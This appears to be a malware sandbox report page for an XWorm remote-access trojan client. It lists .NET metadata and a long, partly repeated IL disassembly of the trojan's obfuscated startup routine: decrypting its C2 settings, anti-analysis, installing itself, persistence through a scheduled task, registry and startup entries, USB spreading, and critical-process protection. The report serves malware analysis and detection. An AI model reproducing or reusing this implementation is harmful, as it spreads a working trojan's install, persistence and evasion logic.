Malicious
Malicious

Share on LinkedIn
Print
PE Executable
MD5:
Size: 0 B
application/x-dosexec
Ctrl + scroll to zoom · drag to pan

Get an AI-generated breakdown of this malware's behaviour, IOCs and recommendations.

AI analysis is available with Essential.
Unlock with Essential
File
Type
Portable Executable file
Detection
PeID
.NET executableMicrosoft Visual C# / Basic .NETMicrosoft Visual C# / Basic.NET / MS Visual Basic 2005 - ASL Microsoft Visual C# v7.0 / Basic .NETMicrosoft Visual Studio .NET
Symbol obfuscation
Medium
1 malicious · 3 files
EXE783e1ed2786f3501d3c7019c1a315709XWorm
Structure
Config. Field Value
family xhuhuhuhu
We extracted this malware's full configuration (C2, credentials, campaign IDs…).
Unlock with Essential
Name Value
Module Name
XWormClient.exe
Full Name
XWormClient.exe
EntryPoint
System.Void Stub.Main::Main()
Scope Name
XWormClient.exe
Scope Type
ModuleDef
Kind
Windows
Runtime Version
v4.0.30319
Tables Header Version
512
WinMD Version
<null>
Assembly Name
XWormClient
Assembly Version
1.0.0.0
Assembly Culture
<null>
Has PublicKey
False
PublicKey Token
<null>
Target Framework
<null>
Total Strings
0
Main Method
System.Void Stub.Main::Main()
Main IL Instruction Count
643
Main IL 
ldsfld System.Char[] Stub.Uninstaller::Ⴀ
stloc.s V_36
ldsfld System.Int32 Settings::Sleep
ldc.i4 1000
mul.ovf <null>
ldc.i4 520
ldc.i4 524
call System.Void Stub.Messages/ႭႰ::Ⴍ(System.Int32,System.Int16,System.Int16)
ldc.i4.3 <null>
stloc.s V_21
ldloc.s V_21
switch dnlib.DotNet.Emit.Instruction[]
ldsfld System.String Settings::Hosts
call System.Object Stub.AlgorithmAES::Decrypt(System.String)
ldc.i4 478
ldc.i4 455
call System.String Stub.Messages/ႭႰ::ႥႤ<System.Object>(System.Object,System.Int32,System.Int16)
stsfld System.String Settings::Hosts
ldsfld System.String Settings::Port
call System.Object Stub.AlgorithmAES::Decrypt(System.String)
ldc.i4.s 96
ldc.i4.s 121
call System.String Stub.Messages/ႭႰ::ႥႤ<System.Object>(System.Object,System.Int32,System.Int16)
stsfld System.String Settings::Port
ldc.i4.4 <null>
stloc.s V_21
br.s IL_0024: ldloc.s V_21
ldsfld System.String Settings::KEY
call System.Object Stub.AlgorithmAES::Decrypt(System.String)
ldc.i4 401
ldc.i4 392
call System.String Stub.Messages/ႭႰ::ႥႤ<System.Object>(System.Object,System.Int32,System.Int16)
stsfld System.String Settings::KEY
ldsfld System.String Settings::SPL
call System.Object Stub.AlgorithmAES::Decrypt(System.String)
ldc.i4.s 43
ldc.i4.s 50
call System.String Stub.Messages/ႭႰ::ႥႤ<System.Object>(System.Object,System.Int32,System.Int16)
stsfld System.String Settings::SPL
ldc.i4.0 <null>
stloc.s V_21
br IL_0024: ldloc.s V_21
ldsfld System.String Settings::Groub
call System.Object Stub.AlgorithmAES::Decrypt(System.String)
ldc.i4 469
ldc.i4 460
call System.String Stub.Messages/ႭႰ::ႥႤ<System.Object>(System.Object,System.Int32,System.Int16)
stsfld System.String Settings::Groub
ldsfld System.String Settings::USBNM
call System.Object Stub.AlgorithmAES::Decrypt(System.String)
ldc.i4 183
ldc.i4 174
call System.String Stub.Messages/ႭႰ::ႥႤ<System.Object>(System.Object,System.Int32,System.Int16)
stsfld System.String Settings::USBNM
ldc.i4.8 <null>
stloc.s V_21
br IL_0024: ldloc.s V_21
ldsfld System.String Settings::InstallDir
call System.Object Stub.AlgorithmAES::Decrypt(System.String)
ldc.i4 816
ldc.i4 809
call System.String Stub.Messages/ႭႰ::ႥႤ<System.Object>(System.Object,System.Int32,System.Int16)
ldc.i4 550
ldc.i4 534
call System.String Stub.Messages::Ⴃ<System.String>(System.String,System.Int32,System.Int32)
stsfld System.String Settings::InstallDir
ldc.i4.1 <null>
stloc.s V_21
br IL_0024: ldloc.s V_21
ldsfld System.String Settings::InstallStr
call System.Object Stub.AlgorithmAES::Decrypt(System.String)
ldc.i4 876
ldc.i4 885
call System.String Stub.Messages/ႭႰ::ႥႤ<System.Object>(System.Object,System.Int32,System.Int16)
stsfld System.String Settings::InstallStr
leave.s IL_018D: ldc.i4.4
dup <null>
ldc.i4.s 17
ldc.i4.s 82
call System.Void Stub.Messages/ႭႰ::Ⴈ<System.Exception>(System.Exception,System.Int16,System.Char)
stloc.3 <null>
ldc.i4.0 <null>
ldc.i4 726
ldc.i4 723
call System.Void Stub.Messages/ႭႰ::Ⴍ(System.Int32,System.Int16,System.Int16)
ldc.i4 583
ldc.i4 550
call System.Void Stub.Messages::Ⴄ(System.Int32,System.Char)
leave.s IL_018D: ldc.i4.4
ldc.i4.4 <null>
stloc.s V_23
ldloc.s V_23
switch dnlib.DotNet.Emit.Instruction[]
call System.Boolean Ⴓ.Ⴈ::Ⴍ()
brtrue.s IL_01CB: ldc.i4.0
ldc.i4.1 <null>
stloc.s V_23
br.s IL_0190: ldloc.s V_23
ldc.i4.0 <null>
ldc.i4 777
ldc.i4 780
call System.Void Stub.Messages/ႭႰ::Ⴍ(System.Int32,System.Int16,System.Int16)
ldc.i4.0 <null>
stloc.s V_25
ldloc.s V_25
switch dnlib.DotNet.Emit.Instruction[]
call System.Void Stub.Main::RunAntiAnalysis()
leave.s IL_020D: ldc.i4.1
dup <null>
ldc.i4.s 36
ldc.i4.s 103
call System.Void Stub.Messages/ႭႰ::Ⴈ<System.Exception>(System.Exception,System.Int16,System.Char)
stloc.s V_4
ldc.i4 834
ldc.i4 803
call System.Void Stub.Messages::Ⴄ(System.Int32,System.Char)
leave.s IL_020D: ldc.i4.1
ldc.i4.1 <null>
stloc.s V_27
ldloc.s V_27
switch dnlib.DotNet.Emit.Instruction[]
call System.Void Stub.Main::Exclusion()
ldsfld System.String Settings::InstallDir
ldc.i4.3 <null>
ldc.i8 4
ldc.i4 1711526534
ldc.i4.3 <null>
call System.String Stub.ProcessCritical::Ⴍ(System.Byte,System.Int64,System.Int32,System.Int32)
ldsfld System.String Settings::InstallStr
ldc.i4 199
ldc.i4 217
call System.String My.MyComputer::ႤႷ<System.String,System.String,System.String>(System.String,System.String,System.String,System.Char,System.Int32)
stloc.0 <null>
ldc.i4.5 <null>
stloc.s V_29
ldloc.s V_29
switch dnlib.DotNet.Emit.Instruction[]
ldloc.0 <null>
isinst System.String
newobj System.Void System.IO.FileInfo::.ctor(System.String)
ldc.i4 662
ldc.i4 762
call System.IO.DirectoryInfo My.MyComputer::ႷႨ<System.IO.FileInfo>(System.IO.FileInfo,System.Char,System.Char)
ldc.i4 378
ldc.i4 328
call System.String Stub.USB::ႨႨ<System.IO.DirectoryInfo>(System.IO.DirectoryInfo,System.Int32,System.Char)
stloc.s V_5
ldc.i4.4 <null>
stloc.s V_29
br.s IL_0262: ldloc.s V_29
ldloc.s V_5
ldc.i4 664
ldc.i4 641
call System.String Stub.Messages/ႭႰ::ႥႤ<System.Object>(System.Object,System.Int32,System.Int16)
ldc.i4 156
ldc.i4 144
call System.Boolean Stub.Main::ႰႭ<System.String>(System.String,System.Int32,System.Int32)
brtrue.s IL_02EB: ldc.i4.3
ldc.i4.8 <null>
stloc.s V_29
br IL_0262: ldloc.s V_29
ldc.i4.3 <null>
br.s IL_02E4: stloc.s V_29
ldloc.s V_5
ldc.i4 413
ldc.i4 388
call System.String Stub.Messages/ႭႰ::ႥႤ<System.Object>(System.Object,System.Int32,System.Int16)
ldc.i4 266
ldc.i4 293
call System.IO.DirectoryInfo Stub.USB::ႨႷ<System.String>(System.String,System.Int16,System.Int32)
pop <null>
ldc.i4.3 <null>
stloc.s V_29
br IL_0262: ldloc.s V_29
ldloc.0 <null>
castclass System.String
ldc.i4 180
ldc.i4 189
call System.Boolean Stub.Main::ႰႭ<System.String>(System.String,System.Int32,System.Int32)
brfalse.s IL_0337: ldc.i4.7
ldc.i4.s 9
stloc.s V_29
br IL_0262: ldloc.s V_29
ldc.i4.7 <null>
br.s IL_0330: stloc.s V_29
ldloc.0 <null>
castclass System.String
newobj System.Void System.IO.FileInfo::.ctor(System.String)
stloc.s V_6
ldloc.s V_6
castclass System.IO.FileInfo
ldc.i4 131
ldc.i4 166
call System.Void My.MyComputer::ႷႣ<System.IO.FileInfo>(System.IO.FileInfo,System.Int16,System.Char)
ldc.i4 1000
ldc.i4.s 84
ldc.i4.s 80
call System.Void Stub.Messages/ႭႰ::Ⴍ(System.Int32,System.Int16,System.Int16)
ldloc.0 <null>
castclass System.String
ldsfld System.String Ⴓ.Ⴈ::Ⴃ
ldc.i4 397
ldc.i4 452
call System.Byte[] Stub.Main::ႰႷ<System.String>(System.String,System.Int16,System.Char)
ldc.i4 401
ldc.i4 407
call System.Void Stub.ProcessCritical::ႣႨ<System.String>(System.String,System.Byte[],System.Int16,System.Int16)
leave.s IL_03B3: ldc.i4.0
dup <null>
ldc.i4.s 83
ldc.i4.s 16
call System.Void Stub.Messages/ႭႰ::Ⴈ<System.Exception>(System.Exception,System.Int16,System.Char)
stloc.s V_7
ldc.i4 981
ldc.i4 948
call System.Void Stub.Messages::Ⴄ(System.Int32,System.Char)
leave.s IL_03B3: ldc.i4.0
ldc.i4.0 <null>
stloc.s V_31
ldloc.s V_31
switch dnlib.DotNet.Emit.Instruction[]
ldc.i4.s 23
ldc.i8 4
ldc.i4 1711529791
ldc.i4.0 <null>
call System.String Stub.ProcessCritical::Ⴍ(System.Byte,System.Int64,System.Int32,System.Int32)
newobj System.Void System.Diagnostics.ProcessStartInfo::.ctor(System.String)
stloc.s V_9
ldloc.s V_9
castclass System.Diagnostics.ProcessStartInfo
ldc.i4.1 <null>
ldc.i4 642
ldc.i4 727
call System.Void My.MyComputer::ႤႭ<System.Diagnostics.ProcessStartInfo>(System.Diagnostics.ProcessStartInfo,System.Diagnostics.ProcessWindowStyle,System.Int32,System.Int16)
ldc.i4.3 <null>
stloc.s V_31
br.s IL_03B6: ldloc.s V_31
call System.String Stub.ClientSocket::UAC()
ldc.i4 626
ldc.i4 639
call System.Boolean Stub.Main::ႰႭ<System.String>(System.String,System.Int32,System.Int32)
brfalse.s IL_0438: ldc.i4.7
ldc.i4.8 <null>
stloc.s V_31
br IL_03B6: ldloc.s V_31
ldc.i4.7 <null>
br.s IL_0431: stloc.s V_31
ldloc.s V_9
isinst System.Diagnostics.ProcessStartInfo
ldc.i4.5 <null>
newarr System.String
stloc.s V_14
ldloc.s V_14
castclass System.String[]
ldc.i4.0 <null>
ldc.i4.s 13
ldc.i8 15
ldc.i4 1711529778
ldc.i4.2 <null>
call System.String Stub.ProcessCritical::Ⴍ(System.Byte,System.Int64,System.Int32,System.Int32)
stelem.ref <null>
ldloc.s V_14
isinst System.String[]
ldc.i4.1 <null>
ldsfld System.String Settings::InstallStr
ldc.i4.s 24
ldc.i4.s 53
call System.String Stub.Messages::Ⴃ<System.String>(System.String,System.Int32,System.Int32)
stelem.ref <null>
ldloc.s V_14
castclass System.String[]
ldc.i4.2 <null>
ldc.i4.s 18
ldc.i8 1
ldc.i4 1711529796
ldc.i4.4 <null>
call System.String Stub.ProcessCritical::Ⴍ(System.Byte,System.Int64,System.Int32,System.Int32)
stelem.ref <null>
ldloc.s V_14
isinst System.String[]
ldc.i4.3 <null>
ldloc.0 <null>
castclass System.String
stelem.ref <null>
ldloc.s V_14
castclass System.String[]
ldc.i4.4 <null>
ldc.i4.s 12
ldc.i8 13
ldc.i4 1711526805
ldc.i4.5 <null>
call System.String Stub.ProcessCritical::Ⴍ(System.Byte,System.Int64,System.Int32,System.Int32)
stelem.ref <null>
ldloc.s V_14
isinst System.String[]
ldc.i4 252
ldc.i4 239
call System.String My.MyApplication::ႥႨ(System.String[],System.Int32,System.Char)
ldc.i4 156
ldc.i4 186
call System.Void My.MyComputer::ႤႠ<System.String,System.Diagnostics.ProcessStartInfo>(System.Diagnostics.ProcessStartInfo,System.String,System.Int16,System.Int32)
ldc.i4.2 <null>
stloc.s V_31
br IL_03B6: ldloc.s V_31
ldloc.s V_9
castclass System.Diagnostics.ProcessStartInfo
ldc.i4.5 <null>
newarr System.String
stloc.s V_14
ldloc.s V_14
castclass System.String[]
ldc.i4.0 <null>
ldc.i4.s 24
ldc.i8 2
ldc.i4 1711529840
ldc.i4.6 <null>
call System.String Stub.ProcessCritical::Ⴍ(System.Byte,System.Int64,System.Int32,System.Int32)
stelem.ref <null>
ldloc.s V_14
isinst System.String[]
ldc.i4.1 <null>
ldsfld System.String Settings::InstallStr
ldc.i4 254
ldc.i4 211
call System.String Stub.Messages::Ⴃ<System.String>(System.String,System.Int32,System.Int32)
stelem.ref <null>
ldloc.s V_14
castclass System.String[]
ldc.i4.2 <null>
ldc.i4.s 14
ldc.i8 13
ldc.i4 1711529799
ldc.i4.7 <null>
call System.String Stub.ProcessCritical::Ⴍ(System.Byte,System.Int64,System.Int32,System.Int32)
stelem.ref <null>
ldloc.s V_14
isinst System.String[]
ldc.i4.3 <null>
ldloc.0 <null>
castclass System.String
stelem.ref <null>
ldloc.s V_14
castclass System.String[]
ldc.i4.4 <null>
ldc.i4.s 13
ldc.i8 14
ldc.i4 1711526806
ldc.i4.6 <null>
call System.String Stub.ProcessCritical::Ⴍ(System.Byte,System.Int64,System.Int32,System.Int32)
stelem.ref <null>
ldloc.s V_14
castclass System.String[]
ldc.i4 981
ldc.i4 966
call System.String My.MyApplication::ႥႨ(System.String[],System.Int32,System.Char)
ldc.i4 570
ldc.i4 540
call System.Void My.MyComputer::ႤႠ<System.String,System.Diagnostics.ProcessStartInfo>(System.Diagnostics.ProcessStartInfo,System.String,System.Int16,System.Int32)
ldloc.s V_9
isinst System.Diagnostics.ProcessStartInfo
ldc.i4 154
ldc.i4 136
call System.Diagnostics.Process Stub.Messages/ႭႰ::ႥႭ<System.Diagnostics.ProcessStartInfo>(System.Diagnostics.ProcessStartInfo,System.Int32,System.Int16)
stloc.s V_8
ldloc.s V_8
isinst System.Diagnostics.Process
ldc.i4 1009
ldc.i4 965
call System.Void My.MyComputer::ႷႥ<System.Diagnostics.Process>(System.Diagnostics.Process,System.Char,System.Int16)
leave.s IL_060A: ldc.i4.1
dup <null>
ldc.i4 230
ldc.i4 165
call System.Void Stub.Messages/ႭႰ::Ⴈ<System.Exception>(System.Exception,System.Int16,System.Char)
stloc.s V_10
ldc.i4 970
ldc.i4 939
call System.Void Stub.Messages::Ⴄ(System.Int32,System.Char)
leave.s IL_060A: ldc.i4.1
ldc.i4.1 <null>
stloc.s V_33
ldloc.s V_33
switch dnlib.DotNet.Emit.Instruction[]
call My.MyComputer My.MyProject::Ⴀ()
ldc.i4 886
ldc.i4 895
call Microsoft.VisualBasic.MyServices.RegistryProxy My.MyComputer::ႤႥ<Microsoft.VisualBasic.Devices.ServerComputer>(Microsoft.VisualBasic.Devices.ServerComputer,System.Char,System.Char)
ldc.i4 684
ldc.i4 763
call Microsoft.Win32.RegistryKey Stub.Messages/ႭႰ::ႥႥ<Microsoft.VisualBasic.MyServices.RegistryProxy>(Microsoft.VisualBasic.MyServices.RegistryProxy,System.Int32,System.Int32)
ldc.i4.2 <null>
ldc.i8 15
ldc.i4 1711526488
ldc.i4.7 <null>
call System.String Stub.ProcessCritical::Ⴍ(System.Byte,System.Int64,System.Int32,System.Int32)
ldc.i4.1 <null>
ldc.i4 544
ldc.i4 565
call Microsoft.Win32.RegistryKey My.MyComputer::ႤႰ<System.String,Microsoft.Win32.RegistryKey>(Microsoft.Win32.RegistryKey,System.String,System.Boolean,System.Char,System.Char)
ldsfld System.String Settings::InstallStr
ldc.i4 612
ldc.i4 585
call System.String Stub.Messages::Ⴃ<System.String>(System.String,System.Int32,System.Int32)
ldloc.0 <null>
isinst System.String
ldc.i4 145
ldc.i4 146
call System.Void My.MyApplication::Ⴄ<System.String,Microsoft.Win32.RegistryKey,System.Object>(Microsoft.Win32.RegistryKey,System.String,System.Object,System.Int32,System.Char)
leave.s IL_06B1: ldc.i4.6
dup <null>
ldc.i4.s 68
ldc.i4.7 <null>
call System.Void Stub.Messages/ႭႰ::Ⴈ<System.Exception>(System.Exception,System.Int16,System.Char)
stloc.s V_11
ldc.i4.s 38
ldc.i4.s 71
call System.Void Stub.Messages::Ⴄ(System.Int32,System.Char)
leave.s IL_06B1: ldc.i4.6
ldc.i4.6 <null>
stloc.s V_35
ldloc.s V_35
switch dnlib.DotNet.Emit.Instruction[]
ldc.i4.7 <null>
ldc.i4 984
ldc.i4 996
call System.String My.MyComputer::ႤႼ(System.Environment/SpecialFolder,System.Int16,System.Char)
ldc.i4.6 <null>
ldc.i8 12
ldc.i4 1711526533
ldc.i4.0 <null>
call System.String Stub.ProcessCritical::Ⴍ(System.Byte,System.Int64,System.Int32,System.Int32)
ldsfld System.String Settings::InstallStr
ldc.i4.s 81
ldc.i4.s 124
call System.String Stub.Messages::Ⴃ<System.String>(System.String,System.Int32,System.Int32)
ldc.i4.s 17
ldc.i8 6
ldc.i4 1711527338
ldc.i4.2 <null>
call System.String Stub.ProcessCritical::Ⴍ(System.Byte,System.Int64,System.Int32,System.Int32)
ldc.i4 772
ldc.i4 852
call System.String My.MyApplication::ႥႰ<System.String,System.String,System.String,System.String>(System.String,System.String,System.String,System.String,System.Int16,System.Char)
stloc.s V_12
ldloc.s V_36
ldc.i4.6 <null>
ldelem.u2 <null>
ldc.i4 61173
sub <null>
stloc.s V_35
br IL_06B4: ldloc.s V_35
ldc.i4.s 24
ldc.i8 8
ldc.i4 1711529105
ldc.i4.3 <null>
call System.String Stub.ProcessCritical::Ⴍ(System.Byte,System.Int64,System.Int32,System.Int32)
ldc.i4.s 9
ldc.i8 14
ldc.i4 1711527904
ldc.i4.4 <null>
call System.String Stub.ProcessCritical::Ⴍ(System.Byte,System.Int64,System.Int32,System.Int32)
call System.Object Microsoft.VisualBasic.Interaction::CreateObject(System.String,System.String)
ldnull <null>
ldc.i4.7 <null>
ldc.i8 2
ldc.i4 1711527331
ldc.i4.2 <null>
call System.String Stub.ProcessCritical::Ⴍ(System.Byte,System.Int64,System.Int32,System.Int32)
ldc.i4.1 <null>
newarr System.Object
stloc.s V_15
ldloc.s V_15
isinst System.Object[]
ldc.i4.0 <null>
ldloc.s V_12
castclass System.String
stelem.ref <null>
ldloc.s V_15
castclass System.Object[]
stloc.s V_16
ldloc.s V_16
castclass System.Object[]
ldnull <null>
ldnull <null>
ldc.i4.1 <null>
newarr System.Boolean
stloc.s V_17
ldloc.s V_17
isinst System.Boolean[]
ldc.i4.0 <null>
ldc.i4.1 <null>
stelem.i1 <null>
ldloc.s V_17
isinst System.Boolean[]
call System.Object Microsoft.VisualBasic.CompilerServices.NewLateBinding::LateGet(System.Object,System.Type,System.String,System.Object[],System.String[],System.Type[],System.Boolean[])
ldloc.s V_17
castclass System.Boolean[]
ldc.i4.0 <null>
ldelem.i1 <null>
brfalse.s IL_0808: stloc.s V_18
ldloc.s V_16
isinst System.Object[]
ldc.i4.0 <null>
ldelem.ref <null>
call System.Object System.Runtime.CompilerServices.RuntimeHelpers::GetObjectValue(System.Object)
ldtoken System.String
call System.Type System.Type::GetTypeFromHandle(System.RuntimeTypeHandle)
call System.Object Microsoft.VisualBasic.CompilerServices.Conversions::ChangeType(System.Object,System.Type)
castclass System.String
stloc.s V_12
stloc.s V_18
ldloc.s V_18
ldnull <null>
ldc.i4.s 16
ldc.i8 8
ldc.i4 1711527363
ldc.i4.1 <null>
call System.String Stub.ProcessCritical::Ⴍ(System.Byte,System.Int64,System.Int32,System.Int32)
ldc.i4.1 <null>
newarr System.Object
stloc.s V_19
ldloc.s V_19
castclass System.Object[]
ldc.i4.0 <null>
ldloc.0 <null>
castclass System.String
stelem.ref <null>
ldloc.s V_19
isinst System.Object[]
ldnull <null>
ldnull <null>
ldc.i4.0 <null>
ldc.i4.1 <null>
call System.Void Microsoft.VisualBasic.CompilerServices.NewLateBinding::LateSetComplex(System.Object,System.Type,System.String,System.Object[],System.String[],System.Type[],System.Boolean,System.Boolean)
ldc.i4.2 <null>
stloc.s V_35
br IL_06B4: ldloc.s V_35
ldloc.s V_18
ldnull <null>
ldc.i4.s 9
ldc.i8 8
ldc.i4 1711527402
ldc.i4.1 <null>
call System.String Stub.ProcessCritical::Ⴍ(System.Byte,System.Int64,System.Int32,System.Int32)
ldc.i4.1 <null>
newarr System.Object
stloc.s V_19
ldloc.s V_19
isinst System.Object[]
ldc.i4.0 <null>
ldc.i4.4 <null>
ldc.i8 3
ldc.i4 1711527910
ldc.i4.2 <null>
call System.String Stub.ProcessCritical::Ⴍ(System.Byte,System.Int64,System.Int32,System.Int32)
stelem.ref <null>
ldloc.s V_19
isinst System.Object[]
ldnull <null>
ldnull <null>
ldc.i4.0 <null>
ldc.i4.1 <null>
call System.Void Microsoft.VisualBasic.CompilerServices.NewLateBinding::LateSetComplex(System.Object,System.Type,System.String,System.Object[],System.String[],System.Type[],System.Boolean,System.Boolean)
ldc.i4.8 <null>
stloc.s V_35
br IL_06B4: ldloc.s V_35
ldloc.s V_18
ldnull <null>
ldc.i4.s 11
ldc.i8 2
ldc.i4 1711526606
ldc.i4.1 <null>
call System.String Stub.ProcessCritical::Ⴍ(System.Byte,System.Int64,System.Int32,System.Int32)
ldc.i4.0 <null>
newarr System.Object
ldnull <null>
ldnull <null>
ldnull <null>
ldc.i4.1 <null>
call System.Object Microsoft.VisualBasic.CompilerServices.NewLateBinding::LateCall(System.Object,System.Type,System.String,System.Object[],System.String[],System.Type[],System.Boolean[],System.Boolean)
pop <null>
ldc.i4.3 <null>
stloc.s V_35
br IL_06B4: ldloc.s V_35
ldnull <null>
stloc.s V_18
ldloc.s V_12
isinst System.String
ldc.i4.3 <null>
newobj System.Void System.IO.FileStream::.ctor(System.String,System.IO.FileMode)
stsfld System.IO.FileStream Ⴓ.Ⴈ::Ⴃ
leave.s IL_0900: ldc.i4.6
dup <null>
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception)
stloc.s V_13
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError()
leave.s IL_0900: ldc.i4.6
ldc.i4.6 <null>
stloc.s V_38
ldloc.s V_38
switch dnlib.DotNet.Emit.Instruction[]
call System.Void Stub.USB::USBStart()
call System.Void Ⴓ.Ⴈ::Ⴐ()
ldnull <null>
ldftn System.Void Stub.Main::_Lambda$__1()
newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr)
newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart)
callvirt System.Void System.Threading.Thread::Start()
call System.String Stub.ClientSocket::UAC()
call System.Boolean Microsoft.VisualBasic.CompilerServices.Conversions::ToBoolean(System.String)
brfalse.s IL_095B: ldc.i4.5
ldc.i4.7 <null>
stloc.s V_38
br.s IL_0903: ldloc.s V_38
ldc.i4.5 <null>
br.s IL_0957: stloc.s V_38
call System.Void Stub.ProcessCritical::CriticalProcess_Enable()
ldnull <null>
ldftn System.Void Stub.Main::_Lambda$__2()
newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr)
newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart)
stloc.1 <null>
ldnull <null>
ldftn System.Void Stub.Main::_Lambda$__3()
newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr)
newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart)
stloc.2 <null>
ldc.i4.4 <null>
stloc.s V_38
br IL_0903: ldloc.s V_38
ldloc.1 <null>
castclass System.Threading.Thread
callvirt System.Void System.Threading.Thread::Start()
ldloc.2 <null>
castclass System.Threading.Thread
callvirt System.Void System.Threading.Thread::Start()
ldloc.2 <null>
castclass System.Threading.Thread
callvirt System.Void System.Threading.Thread::Join()
ret <null>
ldtoken System.Void Stub.Main::Main()
pop <null>
ret <null>
Module Name
XWormClient.exe
Full Name
XWormClient.exe
EntryPoint
System.Void Stub.Main::Main()
Scope Name
XWormClient.exe
Scope Type
ModuleDef
Kind
Windows
Runtime Version
v4.0.30319
Tables Header Version
512
WinMD Version
<null>
Assembly Name
XWormClient
Assembly Version
1.0.0.0
Assembly Culture
<null>
Has PublicKey
False
PublicKey Token
<null>
Target Framework
<null>
Total Strings
0
Main Method
System.Void Stub.Main::Main()
Main IL Instruction Count
643
Main IL 
ldsfld System.Char[] Stub.Uninstaller::Ⴀ
stloc.s V_36
ldsfld System.Int32 Settings::Sleep
ldc.i4 1000
mul.ovf <null>
ldc.i4 520
ldc.i4 524
call System.Void Stub.Messages/ႭႰ::Ⴍ(System.Int32,System.Int16,System.Int16)
ldc.i4.3 <null>
stloc.s V_21
ldloc.s V_21
switch dnlib.DotNet.Emit.Instruction[]
ldsfld System.String Settings::Hosts
call System.Object Stub.AlgorithmAES::Decrypt(System.String)
ldc.i4 478
ldc.i4 455
call System.String Stub.Messages/ႭႰ::ႥႤ<System.Object>(System.Object,System.Int32,System.Int16)
stsfld System.String Settings::Hosts
ldsfld System.String Settings::Port
call System.Object Stub.AlgorithmAES::Decrypt(System.String)
ldc.i4.s 96
ldc.i4.s 121
call System.String Stub.Messages/ႭႰ::ႥႤ<System.Object>(System.Object,System.Int32,System.Int16)
stsfld System.String Settings::Port
ldc.i4.4 <null>
stloc.s V_21
br.s IL_0024: ldloc.s V_21
ldsfld System.String Settings::KEY
call System.Object Stub.AlgorithmAES::Decrypt(System.String)
ldc.i4 401
ldc.i4 392
call System.String Stub.Messages/ႭႰ::ႥႤ<System.Object>(System.Object,System.Int32,System.Int16)
stsfld System.String Settings::KEY
ldsfld System.String Settings::SPL
call System.Object Stub.AlgorithmAES::Decrypt(System.String)
ldc.i4.s 43
ldc.i4.s 50
call System.String Stub.Messages/ႭႰ::ႥႤ<System.Object>(System.Object,System.Int32,System.Int16)
stsfld System.String Settings::SPL
ldc.i4.0 <null>
stloc.s V_21
br IL_0024: ldloc.s V_21
ldsfld System.String Settings::Groub
call System.Object Stub.AlgorithmAES::Decrypt(System.String)
ldc.i4 469
ldc.i4 460
call System.String Stub.Messages/ႭႰ::ႥႤ<System.Object>(System.Object,System.Int32,System.Int16)
stsfld System.String Settings::Groub
ldsfld System.String Settings::USBNM
call System.Object Stub.AlgorithmAES::Decrypt(System.String)
ldc.i4 183
ldc.i4 174
call System.String Stub.Messages/ႭႰ::ႥႤ<System.Object>(System.Object,System.Int32,System.Int16)
stsfld System.String Settings::USBNM
ldc.i4.8 <null>
stloc.s V_21
br IL_0024: ldloc.s V_21
ldsfld System.String Settings::InstallDir
call System.Object Stub.AlgorithmAES::Decrypt(System.String)
ldc.i4 816
ldc.i4 809
call System.String Stub.Messages/ႭႰ::ႥႤ<System.Object>(System.Object,System.Int32,System.Int16)
ldc.i4 550
ldc.i4 534
call System.String Stub.Messages::Ⴃ<System.String>(System.String,System.Int32,System.Int32)
stsfld System.String Settings::InstallDir
ldc.i4.1 <null>
stloc.s V_21
br IL_0024: ldloc.s V_21
ldsfld System.String Settings::InstallStr
call System.Object Stub.AlgorithmAES::Decrypt(System.String)
ldc.i4 876
ldc.i4 885
call System.String Stub.Messages/ႭႰ::ႥႤ<System.Object>(System.Object,System.Int32,System.Int16)
stsfld System.String Settings::InstallStr
leave.s IL_018D: ldc.i4.4
dup <null>
ldc.i4.s 17
ldc.i4.s 82
call System.Void Stub.Messages/ႭႰ::Ⴈ<System.Exception>(System.Exception,System.Int16,System.Char)
stloc.3 <null>
ldc.i4.0 <null>
ldc.i4 726
ldc.i4 723
call System.Void Stub.Messages/ႭႰ::Ⴍ(System.Int32,System.Int16,System.Int16)
ldc.i4 583
ldc.i4 550
call System.Void Stub.Messages::Ⴄ(System.Int32,System.Char)
leave.s IL_018D: ldc.i4.4
ldc.i4.4 <null>
stloc.s V_23
ldloc.s V_23
switch dnlib.DotNet.Emit.Instruction[]
call System.Boolean Ⴓ.Ⴈ::Ⴍ()
brtrue.s IL_01CB: ldc.i4.0
ldc.i4.1 <null>
stloc.s V_23
br.s IL_0190: ldloc.s V_23
ldc.i4.0 <null>
ldc.i4 777
ldc.i4 780
call System.Void Stub.Messages/ႭႰ::Ⴍ(System.Int32,System.Int16,System.Int16)
ldc.i4.0 <null>
stloc.s V_25
ldloc.s V_25
switch dnlib.DotNet.Emit.Instruction[]
call System.Void Stub.Main::RunAntiAnalysis()
leave.s IL_020D: ldc.i4.1
dup <null>
ldc.i4.s 36
ldc.i4.s 103
call System.Void Stub.Messages/ႭႰ::Ⴈ<System.Exception>(System.Exception,System.Int16,System.Char)
stloc.s V_4
ldc.i4 834
ldc.i4 803
call System.Void Stub.Messages::Ⴄ(System.Int32,System.Char)
leave.s IL_020D: ldc.i4.1
ldc.i4.1 <null>
stloc.s V_27
ldloc.s V_27
switch dnlib.DotNet.Emit.Instruction[]
call System.Void Stub.Main::Exclusion()
ldsfld System.String Settings::InstallDir
ldc.i4.3 <null>
ldc.i8 4
ldc.i4 1711526534
ldc.i4.3 <null>
call System.String Stub.ProcessCritical::Ⴍ(System.Byte,System.Int64,System.Int32,System.Int32)
ldsfld System.String Settings::InstallStr
ldc.i4 199
ldc.i4 217
call System.String My.MyComputer::ႤႷ<System.String,System.String,System.String>(System.String,System.String,System.String,System.Char,System.Int32)
stloc.0 <null>
ldc.i4.5 <null>
stloc.s V_29
ldloc.s V_29
switch dnlib.DotNet.Emit.Instruction[]
ldloc.0 <null>
isinst System.String
newobj System.Void System.IO.FileInfo::.ctor(System.String)
ldc.i4 662
ldc.i4 762
call System.IO.DirectoryInfo My.MyComputer::ႷႨ<System.IO.FileInfo>(System.IO.FileInfo,System.Char,System.Char)
ldc.i4 378
ldc.i4 328
call System.String Stub.USB::ႨႨ<System.IO.DirectoryInfo>(System.IO.DirectoryInfo,System.Int32,System.Char)
stloc.s V_5
ldc.i4.4 <null>
stloc.s V_29
br.s IL_0262: ldloc.s V_29
ldloc.s V_5
ldc.i4 664
